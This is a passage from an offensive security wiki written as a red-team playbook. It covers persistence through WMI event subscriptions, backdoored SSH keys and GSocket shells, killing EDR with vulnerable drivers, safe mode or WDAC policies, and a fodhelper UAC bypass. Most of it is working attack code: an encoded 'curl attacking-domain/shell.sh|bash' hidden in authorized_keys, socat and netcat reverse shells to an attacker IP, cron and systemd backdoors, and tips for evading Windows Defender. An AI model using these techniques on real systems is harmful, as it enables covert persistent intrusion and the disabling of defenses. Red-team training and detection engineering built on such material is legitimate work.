$FilterArgs = @{name='v4resk-WMI'; EventNameSpace='root\CimV2'; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa 'Win32_LogonSession'"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

#Create consumer
$ConsumerArgs = @{name='WMIPersist'; CommandLineTemplate="$($Env:SystemRoot)\System32\evil.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

#Create cosnmerBinding (bind filter & consumer)
$FilterToConsumerArgs = @{Filter = [Ref] $Filter; Consumer = [Ref] $Consumer;}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
```

We can cleanup using following commands

```powershell
#Get Filter,Consumer,FilterConsumerBindin
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'v4resk-WMI'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'v4resk-WMI'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"

#Remove
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
```

{% endtab %}

{% tab title="Windows - wmic.exe" %}
Execution of the following commands using wmic.exe will create in the name space of *“**root\subscription**“* three events. You can set the arbitrary payload to execute within 5 seconds on **every new logon session creation** or within 60 seconds **every time Windows starts.**

```powershell
#Create filter to execute payload within 5 seconds on every new logon session creation:
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="JustAnEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa 'Win32_LogonSession'"
#Or
#Create filter to execute payload within 60 seconds every time Windows starts:
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="JustAnEventFilter", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"

wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="JustAconsumer", ExecutablePath="C:\Windows\TEMP\evil.exe",CommandLineTemplate="C:\Windows\TEMP\evil.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"JustAnEventFilter\"", Consumer="CommandLineEventConsumer.Name=\"JustAconsumer\""
```

{% endtab %}

{% tab title="C#" %}
We can implement the same technique with following `C#` code

```csharp
// WMI Event Subscription Peristence Demo
// Author: @domchell

using System;
using System.Text;
using System.Management;

namespace WMIPersistence
{
    class Program
    {
        static void Main(string[] args)
        {
            PersistWMI();
        }

        static void PersistWMI()
        {
            ManagementObject myEventFilter = null;
            ManagementObject myEventConsumer = null;
            ManagementObject myBinder = null;

            string vbscript64 = "<INSIDE base64 encoded VBS here>";
            string vbscript = Encoding.UTF8.GetString(Convert.FromBase64String(vbscript64));
            try
            {
                ManagementScope scope = new ManagementScope(@"\\.\root\subscription");

                ManagementClass wmiEventFilter = new ManagementClass(scope, new
                ManagementPath("__EventFilter"), null);
                String strQuery = @"SELECT * FROM __InstanceCreationEvent WITHIN 5 " +            
        "WHERE TargetInstance ISA \"Win32_Process\" " +           
        "AND TargetInstance.Name = \"notepad.exe\"";

                WqlEventQuery myEventQuery = new WqlEventQuery(strQuery);
                myEventFilter = wmiEventFilter.CreateInstance();
                myEventFilter["Name"] = "demoEventFilter";
                myEventFilter["Query"] = myEventQuery.QueryString;
                myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
                myEventFilter["EventNameSpace"] = @"\root\cimv2";
                myEventFilter.Put();
                Console.WriteLine("[*] Event filter created.");

                myEventConsumer =
                new ManagementClass(scope, new ManagementPath("ActiveScriptEventConsumer"),
                null).CreateInstance();
                myEventConsumer["Name"] = "BadActiveScriptEventConsumer";
                myEventConsumer["ScriptingEngine"] = "VBScript";
                myEventConsumer["ScriptText"] = vbscript;
                myEventConsumer.Put();

                Console.WriteLine("[*] Event consumer created.");

                myBinder =
                new ManagementClass(scope, new ManagementPath("__FilterToConsumerBinding"),
                null).CreateInstance();
                myBinder["Filter"] = myEventFilter.Path.RelativePath;
                myBinder["Consumer"] = myEventConsumer.Path.RelativePath;
                myBinder.Put();

                Console.WriteLine("[*] Subscription created");
            }
            catch (Exception e)
            {
                Console.WriteLine(e);
            } // END CATCH
            Console.ReadKey();
        } // END FUNC
    } // END CLASS
} // END NAMESPACE

```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/>" %}


# Linux


# SSH for Persistence

MITRE ATT\&CK™ Persistence - Tactic TA0003

## Theory

SSH (Secure Shell) is a versatile and widely-used protocol that provides secure remote access to systems and services. While it serves as a fundamental tool for authorized system administration, it can also be exploited by attackers to establish persistence on compromised systems. Through various techniques, ranging from simple SSH key-based attacks to more sophisticated methods like public key backdooring, adversaries can maintain unauthorized access and evade detection.

## Practice

{% tabs %}
{% tab title="Backdooring Public Keys" %}
It's possible to backdoor an SSH public key using the `command=` argument. The backdoor will execute whenever the user logs in using this key.

To be stealhier, we can encode the command to be executed

```bash
echo "bash -c 'curl -fsL http://attacking-domain/shell.sh|bash&'" | xxd -ps -c2048
62617368202d6320276375726c202d66734c20687474703a2f2f61747461636b696e672d646f6d61696e2f7368656c6c2e73687c6261736826270a
```

Simply add this to the begening of the public key

```bash
no-user-rc,no-X11-forwarding,command="eval $(echo 62617368202d6320276375726c202d66734c20687474703a2f2f61747461636b696e672d646f6d61696e2f7368656c6c2e73687c6261736826270a|xxd -r -ps);" ssh-ed25519 AAAAB3Nz...
```

{% endtab %}

{% tab title="authorized\_keys" %}
We can simply add our public key to the `~/.ssh/authorized_keys` file of the target to mantain access. Fisrt let generate new keys

```bash
ssh-keygen
```

Write your public key into `~/.ssh/authorized_keys` of target

```bash
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBr0bA5W+8QERxkFGGWQFj3wSlPI7ZqRL6gmVZ2bD71V8mxvG+riGQr781yv1Ji8w3taon87oqTelmOOEVOPMshJ85lHuKuuP4Lk2FStDXL+zfjXRa+xUc5KS7FlL2yfFWPjHojLJWDraTTh2JKeYm+baiAuCxWkqL31Ze4T16j9RUxQfLCmG1c7LyEFW92UIOO+KRp6z/fNVBJWB7jprqiaV6Co8sPu+lcP0bABcbjNcO0zNXppVTH+3wLnDVBXf2Gzbb/FdcDtbb6uXcRvkTPbTQkBkfjeHyqzXKtPUgAOQWtcSYAxXsdBHmY0mFZWxmMmHS3x4gFdY9ycFqjkOudxKeZW3572gzO0ofdhk6tx4CaR5QIX3+P8K8HMAq+ZXuK7GcCLxPNPgHeFEAX+NrWQ31XtG9+N7x9CvGlMgaZsd6gsd4KMBD2xAT0W7JE+AceM7k/RPWTn+pmNGeZ0BALJiITPUpk8fLg/45nKBDlud+SoU7dLofs8R/crA+aiU= v4resk@parrot' >> ~/.ssh/authorized_keys
```

Set the write permissions if needed

```bash
chmod 600 ~/.ssh/authorized_keys
```

Now, from attacking box, you can ssh to the remote target

```bash
ssh user@$TARGET_IP -i /path/to/generated-key
```

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://blog.thc.org/infecting-ssh-public-keys-with-backdoors>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md>" %}


# GSocket for Persistence

MITRE ATT\&CK™ Persistence - Tactic TA0003

## Theory

[**GSocket**](https://github.com/hackerschoice/gsocket) is a networking utility designed to facilitate secure and transparent TCP connections between hosts, even when they are behind Network Address Translation (NAT) devices or firewalls. It achieves this by leveraging the **Global Socket Relay Network (GSRN)**, enabling seamless and encrypted communication without requiring direct IP address visibility.

**Key Features**:

* **Firewall and NAT Traversal**: GSocket allows connections between hosts without modifying firewall settings, making it ideal for environments with strict network controls.
* **End-to-End Encryption**: Utilizing OpenSSL's Secure Remote Password (SRP) protocol, GSocket ensures that all data transmitted between hosts is securely encrypted. GSRN acts as an intermediary, forwarding encrypted traffic between endpoints.
* **No Fixed IPs**: Instead of a known destination address, each peer connects to GSRN and advertises itself using a **cryptographic identifier derived from the shared password**. Two machines using the same password can **automatically find each other** via GSRN, even if their IP addresses change.

These features make **GSocket** a powerful tool for establishing resilient persistence on compromised endpoints.

## Practice

{% hint style="success" %}
You can directly generate secrets using the `gsocket -g` command
{% endhint %}

{% tabs %}
{% tab title="Persistence Script" %}
We may creates a **persistence script** that launches **GSocket** and provides a bind shell. The script can be placed in **user profile scripts** (`.bashrc`, `.profile`) or **cron jobs** for execution at login or system boot.

On the target machine, we can use following commands:

```bash
# Simple Persistence Command for reverse shell over GSRN
# gs-netcat
# -s: Secret (password)
# -l: listening mode
# -q: Quiet mode
# -D: Deamon & Watchdog mode
killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)

# We can append this command to user profile scripts
echo 'killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)' >> /home/targetUser/.profile
echo 'killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)' >> /home/targetUser/.bashrc

# Alternatively base64 this payload and insert it into crontab
(crontab -l 2>/dev/null; echo "@reboot bash -c 'eval \$(echo a2lsbGFsbCAtMCBncy1uZXRjYXQgMi4vZGV2L251bGwgfHwgKEdTT0NLRVRfQVJHUz0iLXMgRXhhbXBsZVNlY3JldENoYW5nZU1lIC1saXFEIiBTSEVM... | base64 -d)'" ) | crontab -
```

We can now connect to the shell from our attacking box as follows:

```bash
# -s: Secret (password)
# -i: Interactive shell
# -T: Connect via TOR
gs-netcat -s ExampleSecretChangeMe -i
```

{% endtab %}

{% tab title="Systemd Persistence" %}
We may use GSocket as a systemd service, ensuring it automatically starts upon reboot, and provide us a persistent backdoor access.

On the victime, create *`/etc/systemd/system/gs-root-shell.service`*:

{% hint style="info" %}
`-k`: is too read the secret from file.

Replave with `-s "MyPassword"` to directly provide the secret.
{% endhint %}

```systemd
[Unit]
Description=Global Socket Root Shell
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il

[Install]
WantedBy=multi-user.target
```

On the target we can now start and enable the service

```bash
# Start service
systemctl start gs-root-shell

# Enable it
systemctl enable gs-root-shell
```

We can now connect to the target from our attacking machine as follows:

```bash
gs-netcat -s ExampleSecretChangeMe -i
```

{% endtab %}

{% tab title="SSH-Based Persistence" %}
We can utilize GSocket along with SSHd to seamlessly route SSH traffic through the Global Socket Relay Network, and gain persistent access.

{% hint style="info" %}
Simple POC, that you may addapt:

```bash
# On target
gsocket -s ExampleSecretChangeMe /usr/sbin/sshd -D

# On attacking box
gsocket -s ExampleSecretChangeMe ssh user@target.com
```

{% endhint %}

Let's create a new SSHd service that will this time run over GSRN. On victime:

```bash
# Copy SSHd Service File (as root)
cp /etc/systemd/system/sshd.service /etc/systemd/system/gs-sshd.service
chmod 600 /etc/systemd/system/gs-sshd.service

# Edit the ExecStart option
sed -i 's|ExecStart=/usr/sbin/sshd -D $SSHD_OPTS|ExecStart=gs -s ExampleSecretChangeMe /usr/sbin/sshd -D $SSHD_OPTS|' /etc/systemd/system/gs-sshd.service

# Enable service
systemctl start gs-sshd
systemctl enable gs-sshd
```

We can now access our SSH server as follows from our attacking machine

```bash
gsocket -s ExampleSecretChangeMe ssh user@target.com
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://github.com/hackerschoice/gsocket>" %}

{% embed url="<https://www.gsocket.io/>" %}


# Udev rules

<https://github.com/grahamhelton/USP>


# Defense Evasion

MITRE ATT\&CK™ Defense Evasion - Tactic TA0005

## Theory

Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.

![](/files/FNiCykG30k371VHOdwj7)

## Resources

{% embed url="<https://attack.mitre.org/tactics/TA0005/>" %}

{% embed url="<https://www.unifiedkillchain.com/#thescience>" %}


# Endpoint Detection Respons (EDR) Bypass


# Bring Your Own Vulnerable Driver (BYOVD)

MITRE ATT\&CK™ Exploitation for Privilege Escalation - Technique T1068

## Theory

As a security mechanism, Windows by default employs a feature called [Driver Signature Enforcement ](https://learn.microsoft.com/en-us/windows-hardware/drivers/install/driver-signing)that ensures kernel-mode drivers have been signed by a valid code signing authority before Windows will permit them to run.

However, we may bring a signed vulnerable driver onto a compromised machine so that we can exploit the vulnerability to execute code in kernel mode.

{% hint style="danger" %}
That technique requires administrative privileges on the target.
{% endhint %}

## Practice

### Killing AV/EDDR

Gaining kernel-mode access through vulnerable drivers exploit enables a [Windows Kernel-Mode Code Integrity (KMCI)](https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity) bypass, allowing the termination of [Protected Process Light (PPL)](https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-#system-protected-process) processes, such as EDR or AV tools.

{% tabs %}
{% tab title="procexp.sys " %}
[Backstab](https://github.com/Yaxser/Backstab) is a tool capable of killing antimalware protected processes by leveraging sysinternals’ [Process Explorer](https://learn.microsoft.com/fr-fr/sysinternals/downloads/process-explorer) driver ([procexp.sys](https://www.loldrivers.io/drivers/0567c6c4-282f-406f-9369-7f876b899c25/?query=procexp)).

```bash
# -n,	Choose process by name, including the .exe suffix
# -p, 	Choose process by PID
# -l, 	List handles of protected process
# -k, 	Kill the protected process by closing its handles
# -x, 	Close a specific handle
# -d, 	Specify path to where ProcExp will be extracted
# -s, 	Specify service name registry key
# -u, 	Unload ProcExp driver
# -a,	adds SeDebugPrivilege

#Examples:
#Kill cyserver
backstab.exe -n cyserver.exe -k

#Close handle E4C of cyserver
backstab.exe -n cyserver.exe -x E4C

#List all handles of cyserver
backstab.exe -n cyserver.exe -l

#Kill protected process with PID 4326, extract ProcExp driver to C:\ drive
backstab.exe -p 4326 -k -d c:\\driver.sys
```

{% endtab %}

{% tab title="truesight.sys" %}
[Truesight.sys](https://www.loldrivers.io/drivers/e0e93453-1007-4799-ad02-9b461b7e0398/?query=truesight.s) is a vulnerable driver from Rogue Anti-Malware Driver 3.3. It can be abuse to kill a PPL process

**Darkside**

[Darkside](https://github.com/ph4nt0mbyt3/Darkside) is a C# AV/EDR Killer that exploit the truesight.sys driver. To exploit, first load and start the driver:

```powershell
sc create TrueSight binPath="c:\path\to\truesight.sys" type= kernel start= demand
sc start TrueSight
```

Then, start Darkside by specifing the PID to kill.

```powershell
Darkside.exe -p <PID>
```

**TrueSightKiller**

[TrueSightKiller](https://github.com/MaorSabag/TrueSightKiller) is a CPP AV/EDR Killer that exploit the truesight.sys driver. To exploit, you need to have the `truesight.sys` driver located at the same location as the executable.

```powershell
# By porcess name
TrueSightKiller.exe -n <ProcessName.exe>

# By pid
TrueSightKiller.exe -p <PID>
```

{% endtab %}

{% tab title="zam64.sys" %}
[Terminator](https://github.com/ZeroMemoryEx/Terminator) terminate all EDR/XDR/AVs processes by abusing the [zam64.sys](https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/?query=zam64) driver. To exploit, place the driver Terminator.sys in the same path as the executable

```
Terminator.exe
```

{% endtab %}
{% endtabs %}

### Windows Filtering Platform (WPF) Callout Driver

A callout driver implements one or more [callouts](https://learn.microsoft.com/en-us/windows-hardware/drivers/network/callout). Callouts extend the capabilities of the [Windows Filtering Platform](https://learn.microsoft.com/en-us/windows/win32/fwp/windows-filtering-platform-start-page) by processing TCP/IP-based network data in ways that are beyond the scope of the simple filtering functionality. By exploiting such driver we can block outbound traffic from EDR processes.

{% tabs %}
{% tab title="EDRPrison" %}
[EDRPrison](https://github.com/senzee1984/EDRPrison) leverages a legitimate WFP callout driver, [WinDivert](https://reqrypt.org/windivert.html), to effectively silence EDR systems. This project focuses on network-based evasion techniques.

```
EDRPrison.exe
```

{% endtab %}
{% endtabs %}

### Kernel Object Tampering

{% tabs %}
{% tab title="EDRSandblast" %}
[EDRSandblast](https://github.com/wavestone-cdt/EDRSandblast) is a tool written in `C` that weaponize a vulnerable signed driver to bypass EDR detections (Notify Routine callbacks, Object Callbacks and `ETW TI` provider) and `LSASS` protections. Multiple userland unhooking techniques are also implemented to evade userland monitoring.

```
Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load_unsigned_driver>
[--usermode] [--unhook-method <N>] [--direct-syscalls] [--add-dll <dll name or path>]*
[--kernelmode] [--dont-unload-driver] [--no-restore]
    [--nt-offsets <NtoskrnlOffsets.csv>] [--fltmgr-offsets <FltmgrOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--ci-offsets <CiOffsets.csv>] [--internet]
    [--vuln-driver <RTCore64.sys>] [--vuln-service <SERVICE_NAME>]
    [--unsigned-driver <evil.sys>] [--unsigned-service <SERVICE_NAME>]
    [--no-kdp]
[-o | --dump-output <DUMP_FILE>]
```

{% endtab %}
{% endtabs %}

### Hijacking Valid Drivers

{% hint style="info" %}
The technique will not work on HVCI systems due to the impossibility to change the LSTAR pointers if protected by the Hyper-V
{% endhint %}

{% tabs %}
{% tab title="DriverJack" %}
[**DriverJack**](https://github.com/klezVirus/DriverJack) is a tool designed to load a vulnerable driver by abusing lesser-known NTFS techniques. These method bypass the registration of a Driver Service on the system by hijacking an existing service, and also spoof the image path presented in the Driver Load event. To further masquerade the presence of a vulnerable driver, the attack also abuses an Emulated Filesystem Read-Only bypass to swap the content of a driver file on a mounted ISO before loading it.

```
DriverJack.exe
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.trendmicro.com/en_us/research/24/a/kasseika-ransomware-deploys-byovd-attacks-abuses-psexec-and-expl.html>" %}


# Safe Mode With Networking

MITRE ATT\&CK™ Impair Defenses: Disable or Modify Tools - Technique T1562.001

## Theory

Safe Mode with Networking is a specific way to start up your Windows computer when it’s experiencing significant problems. This mode will load only the most basic files and drivers needed for the operating system to function while also enabling networking capabilities

**EDR drivers and other components will therefore not be loaded in safe mode, although we can still access the target via the network.**

{% hint style="danger" %}
In order to bypass EDR products using the following method, a reboot is required, which is a bad OPSEC operation.
{% endhint %}

## Practice

{% tabs %}
{% tab title="bcdedit" %}
On the target, we can use [bcdedit](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit) to enable Safe Mode With Networking on the next reboot, and reboot the host

```powershell
# Enable Safe Mode With Networking
bcdedit /set safeboot network

# Reboot
shutdown /r /t 0
```

After rebooting, the target will only have RPC ports open

<figure><img src="/files/A9NX64mMYLq8oZhZz7vU" alt=""><figcaption></figcaption></figure>

We can utilize [Remote WMI execution](/redteam/pivoting/remote-wmi) methods to achieve code execution on the system. Since the EDR has not been loaded, **we may attempt to uninstall it or perform actions that would typically be blocked.**

```bash
nxc wmi <TARGET> -u <USER> -p <PASSWORD> -x whoami
```

{% endtab %}
{% endtabs %}


# Windows Defender Application Control (WDAC): Killing EDR

MITRE ATT\&CK™ Impair Defenses: Disable or Modify Tools - Technique T1562.001

Theory

Windows Defender Application Control (WDAC) was introduced with Windows 10 and allows organizations to control which drivers and applications are allowed to run on their Windows clients. It was designed as a security feature under the [servicing criteria](https://www.microsoft.com/msrc/windows-security-servicing-criteria), defined by the Microsoft Security Response Center (MSRC).

**EDR drivers or binaries can therefore be blocked using a WDAC policy.**

{% hint style="danger" %}
In order to bypass EDR products using the following method, a reboot is required, which is a bad OPSEC operation.
{% endhint %}

## Practice

In order to set up a Windows Defender Application Control (WDAC) policy that can tamper with a targeted EDR, follow this guide:

{% tabs %}
{% tab title="Locally" %}

#### 1. Setup Your Environement

On a fresh installed Windows Virtual machine, we will install:

* [Dotnet 8 SDK](https://dotnet.microsoft.com/en-us/download/dotnet/thank-you/sdk-8.0.403-windows-x64-installer)
* [WDAC Wizzard](https://webapp-wdac-wizard.azurewebsites.net/)
* The targetted EDR Agent

#### 2. Create a WDAC Policy

When all setup, we can start creating an EDR-Blocking WDAC Policy using the WDAC Wizzard utility:

1. Select "Policy Editor"

<figure><img src="/files/JxGrdXHpfRrCTeRkcJTy" alt=""><figcaption></figcaption></figure>

2. Select the "AllowAll" template from `C:\Windows\Schemas\CodeIntgrity\ExamplePolicies\AllowAll.xml` and click "Next"

<figure><img src="/files/9yVNldSiytEPAFspH63p" alt=""><figcaption></figcaption></figure>

3. Ensure that "Audit Mode" is Unchecked, click "Next"

<figure><img src="/files/970xUEPRpiG9ejNxGHec" alt=""><figcaption></figcaption></figure>

4. Click "Add Custom"

<figure><img src="/files/wLcBZO4XUtoXjJJzNn5t" alt=""><figcaption></figcaption></figure>

5. Specify conditions on the targeted EDR Publisher, executable/drivers hashes, Product Name, or even Paths.

{% hint style="info" %}
For this technique to be effective in tampering with EDR functions, it is essential to identify and select both user-land processes (e.g., PE/exe files) and drivers (e.g., sys files) that are necessary for the EDR's to properly work.
{% endhint %}

{% hint style="danger" %}
However, avoid blocking entire EDR related drivers and processes, as this may lead to system crashes or blue screens.\
Instead, **focus on blocking the minimal components, necessary to interfere with the essential functions of the EDR.**
{% endhint %}

<figure><img src="/files/dKmh9Bh1dSAN5kyQBAYM" alt=""><figcaption></figcaption></figure>

6. When done, wait for the WDAC Policy to build. It will create an XML and PolicyBinary file.

<figure><img src="/files/7MqeYuYevxmZfnm1yPa0" alt=""><figcaption></figcaption></figure>

#### 3. Apply the WDAC Policy

We can now upload the previously build PolicyBinary file to a target host, and [apply it](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/deployment/appcontrol-deployment-guide) using below command lines:

```powershell
# Windows 11 22H2 and above
CiTool --update-policy C:\Path\To\{Policy}.cip

# Windows 11, Windows 10 version 1903 and above, 
# And Windows Server 2022 and above
$PolicyBinary = "C:\Path\To\{Policy}.cip"
$DestinationFolder = $env:windir+"\System32\CodeIntegrity\CIPolicies\Active\"
$RefreshPolicyTool = "<Path where RefreshPolicy.exe can be found from managed endpoints>"
Copy-Item -Path $PolicyBinary -Destination $DestinationFolder -Force
& $RefreshPolicyTool

# All other versions of Windows and Windows Server
$PolicyBinary = "C:\Path\To\{Policy}.cip"
$DestinationBinary = $env:windir+"\System32\CodeIntegrity\SiPolicy.p7b"
Copy-Item  -Path $PolicyBinary -Destination $DestinationBinary -Force
Invoke-CimMethod -Namespace root\Microsoft\Windows\CI -ClassName PS_UpdateAndCompareCIPolicy -MethodName Update -Arguments @{FilePath = $DestinationBinary}
```

<figure><img src="/files/b9or8eCyqomLphzLgThU" alt=""><figcaption></figcaption></figure>

#### 4. Reboot

After reboot, (and maybe several tests to identify which process/driver to block) the EDR should be now disabled.
{% endtab %}

{% tab title="Remotely" %}
Because the only action to implement the WDAC configuration is moving the policy into the CodeIntegrity folder, this can be done remotly with administrative privileges through the built in `C$` or `ADMIN$` shares.

<table><thead><tr><th width="157">Policy Format</th><th>File System Location</th><th>Policy File Name Format</th></tr></thead><tbody><tr><td>Single</td><td><code>C:\Windows\System32\CodeIntegrity\</code></td><td><code>SiPolicy.p7b</code></td></tr><tr><td>Multiple</td><td><code>C:\Windows\System32\CodeIntegrity\CiPolicies\Active\</code></td><td><code>{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}.cip</code></td></tr></tbody></table>

UIpload the policy directly from a Linux machine:

```bash
smbmap -u Administrator -p P@ssw0rd -H 192.168.4.4 --upload "/home/kali/SiPolicy.p7b" "ADMIN\$/System32/CodeIntegrity/SiPolicy.p7b"
```

Reboot the target:

```bash
smbmap -u Administrator -p P@ssw0rd -H 192.168.4.4 -x "shutdown /r /t 0"
```

Additionally a purpose-built tool has been created to carry out this attack. [**Krueger**](https://github.com/logangoins/Krueger) is a custom tool written in C# by [Logan Goins](https://x.com/_logangoins) specifically meant to be run in memory as part of post-exploitation lateral movement activities. The example below uses `inlineExecute-Assembly` (created by [@anthemtotheego](https://x.com/anthemtotheego)) to execute the .NET assembly in memory.

```bash
inlineExecute-Assembly --dotnetassembly C:\Tools\Krueger.exe --assemblyargs --host ms01
```

<figure><img src="/files/OYjU8FXvmmUMh8ewnFlX" alt=""><figcaption></figcaption></figure>
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://www.ninjaone.com/blog/understanding-windows-defender-application-control-wdac/>" %}

{% embed url="<https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/>" %}

{% embed url="<https://x.com/0x64616e/status/1822041831573479479>" %}


# Load Unsigned Drivers

```
bcdedit /set testsigning on
bcdedit /set nointegritychecks off
```


# Minifilter Altitude

<https://tierzerosecurity.co.nz/2024/03/27/blind-edr.html>


# Hypervisor Code Integrity (HVCI) Disallowed Images

<https://valhalla.nextron-systems.com/info/sigma-rule/cf68c9d6-4cd8-40e1-8d96-adb6092bf5de>\
<https://x.com/yarden_shafir/status/1822667605175324787>


# Windows Filtering Platform (WFP)

<https://github.com/netero1010/EDRSilencer>\
<https://learn.microsoft.com/en-us/windows-hardware/drivers/network/introduction-to-windows-filtering-platform-callout-drivers>\
<https://github.com/dsnezhkov/shutter>


# Userland Hooking Bypass


# UAC Bypass

MITRE ATT\&CK™ Impair Defenses: Disable or Modify Tools - Technique T1562.001

## Theory

The User Account Control [UAC](https://learn.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works). Its a Windows security feature that forces any new process to run in the security context of a non-privileged account by default..

### Integrity Levels

UAC is a **Mandatory Integrity Control** (MIC), which is a mechanism that allows differentiating users, processes and resources by assigning an Integrity Level (IL) to each of them. In general terms, users or processes with a higher IL access token will be able to access resources with lower or equal ILs. MIC takes precedence over regular Windows DACLs\
The following 4 ILs are used by Windows, ordered from lowest to highest:

| Integrity Level | Use                                                |
| --------------- | -------------------------------------------------- |
| Low             | Very limited permissions                           |
| Medium          | users and Administrators' filtered tokens.         |
| High            | Administrators' elevated tokens if UAC is enabled. |
| System          | Reserved for system use.                           |

### AutoElevate

some executables can auto-elevate, achieving high IL without any user intervention. This applies to most of the Control Panel's functionality and some executables provided with Windows. For an application, some requirements need to be met to auto-elevate:\
\- The executable must be signed by the Windows Publisher\
\- The executable must be contained in a trusted directory, like %SystemRoot%/System32/ or %ProgramFiles%/\
\- Executable files (.exe) must declare the autoElevate element inside their manifests. To check a file's manifest, we can use sigcheck.

Indeed we can leverage this executables to bypass UAC. Let's dive in:

{% hint style="danger" %}
if UAC is configured on the "Always Notify" level, fodhelper and similar apps won't be of any use as they will require the user to go through the UAC prompt to elevate.
{% endhint %}

## Practice

Microsoft doesn't consider UAC a security boundary but rather a simple convenience to the administrator to avoid unnecessarily running processes with administrative privileges. In that sense any bypass technique is not considered a vulnerability to Microsoft, and therefore some of them remain unpatched to this day.

### Using ProgID and AutoElevate binary to bypass UAC

We will create an entry on the registry for a new `progID` of our choice (any name will do) and then point the `CurVer` entry in the `ms-settings progID` to our newly created progID. This way, when `fodhelper` tries opening a file using the `ms-settings progID`, it will notice the `CurVer` entry pointing to our new `progID` and check it to see what command to use.

{% tabs %}
{% tab title="Powershell" %}
The exploit code is proposed by [V3ded](https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses)

```bash
# Using socat
$program = "powershell -windowstyle hidden C:\tools\socat\socat TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes"
# Or using netcat
$program = "powershell -windowstyle hidden C:\Windows\Temp\nc64 192.168.49.113 443 -e cmd.exe"

New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
    
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty  "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force
    
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
```

{% hint style="danger" %}
Detected by Windowds Defender

Note that we removed the `.exe` extension in an attempt to evade Windows Defender (e.g. using `nc64` instead of `nc64.exe`). By omitting the extension, Windows will still execute the binary.
{% endhint %}

We may clean-up as follows

```powershell
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
```

{% endtab %}

{% tab title="CMD" %}
V3ded exploit converted in CMD by TryHackMe

```bash
C:\> set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes"

C:\> reg add "HKCU\Software\Classes\.thm\Shell\Open\command" /d %CMD% /f
The operation completed successfully.

C:\> reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".thm" /f
The operation completed successfully.

C:\> fodhelper.exe
```

{% endtab %}
{% endtabs %}

### DiskCleanup Scheduled Task to bypass UAC

